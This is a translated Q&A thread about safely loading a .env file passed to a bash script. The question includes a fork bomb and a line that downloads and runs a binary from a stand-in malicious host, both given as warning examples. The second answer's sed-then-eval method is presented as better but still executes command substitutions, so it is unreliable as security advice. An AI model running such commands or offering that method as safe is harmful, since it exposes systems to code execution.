如何安全地加载命令行参数给出的 .env 文件?

如何安全地加载命令行参数给出的 .env 文件?

我有以下脚本:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

source $ENV_FILE

正如您所看到的,脚本的用户提供了一个.env必须包含环境变量的文件。包含包含环境变量的文件$ENV_FILE的路径。.env

对于我的脚本,.env文件需要包含密钥对值,例如:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

但在上面的代码中,仅仅source为环境变量提供一个随机文本文件似乎是一个坏主意。

例如,如果 .env 文件是:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

:(){ :|: & };:

或者如果它包含类似的内容:

KEY1=VALUE1
KEY2=VALUE2
KEY3=VALUE3

wget https://malicisoussite.com/mallware -o /usr/bin/mallware
chmod +x ./mallware
./mallware

如您所见,该source命令只是将 .env 文件作为 bash 脚本加载。因此,它可能包含超出预期环境变量分配的恶意代码。

那么我如何确保该文件只包含KEY=VALUE对呢?

答案1

清理输入的一种方法是:

#!/usr/bin/env bash

### Your previous code here ###

env_file=$1

if ! perl -ne '/^\w+=[\047\042\w\s\.-]+\s*$|^\s*$/
        or die "Suspicious line $_"' "$env_file"
then
    msg="suspicious source file detected from $env_file"
    logger -t $0 "$msg"
    mail -s "$0 $msg" [email protected] < "$env_file"
    exit 1
else
    . "$env_file"
fi

然后它只允许以下变化:

key=value
KEY='VALUE'
Key="v"
K_e_y=value
k=v 
k=_v_a_l_u_e
k=v-a-l-u-e
k='v a l u e'
...

正则表达式匹配如下:

节点 解释
^ 字符串的开头
\w+ 单词字符(az、AZ、0-9、_)(1 次或多次(匹配尽可能多的数量))
= =
[\047\042\w\s\.-]+ 任何字符:'\047'、'\042'、单词字符(az、AZ、0-9、_)、空格(\n、\r、\t、\f 和 " ")、'.' , '-'(1 次或多次(匹配尽可能多的数量))
\s* 空格(\n、\r、\t、\f 和 " ")(0 次或多次(匹配尽可能多的数量))
$ 在可选的 \n 之前和字符串末尾
| 或者
^ 字符串的开头
\s* 空格(\n、\r、\t、\f 和 " ")(0 次或多次(匹配尽可能多的数量))
$ 在可选的 \n 之前和字符串末尾

答案2

在我看来,更好的方法是: https://askubuntu.com/a/886884

我们使用典型的 sed 和 eval 来提供环境变量:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

ENV_CONTENT=$(cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g')
eval $ENV_CONTENT

如果不支持 eval 则:

#!/usr/bin/env bash

if [ "$#" -eq 0 ]; then
  echo "No argument has been provided"
  exit -1
fi

ENV_FILE=$1

if [ ! -f "$ENV_FILE" ]; then
  echo "No ENV file has been provided"
  exit -1
fi

cat $ENV_FILE | sed -r '/[^=]+=[^=]+/!d' | sed -r 's/\s+=\s/=/g' > $ENV_FILE.sane

source $ENV_FILE.sane

相关内容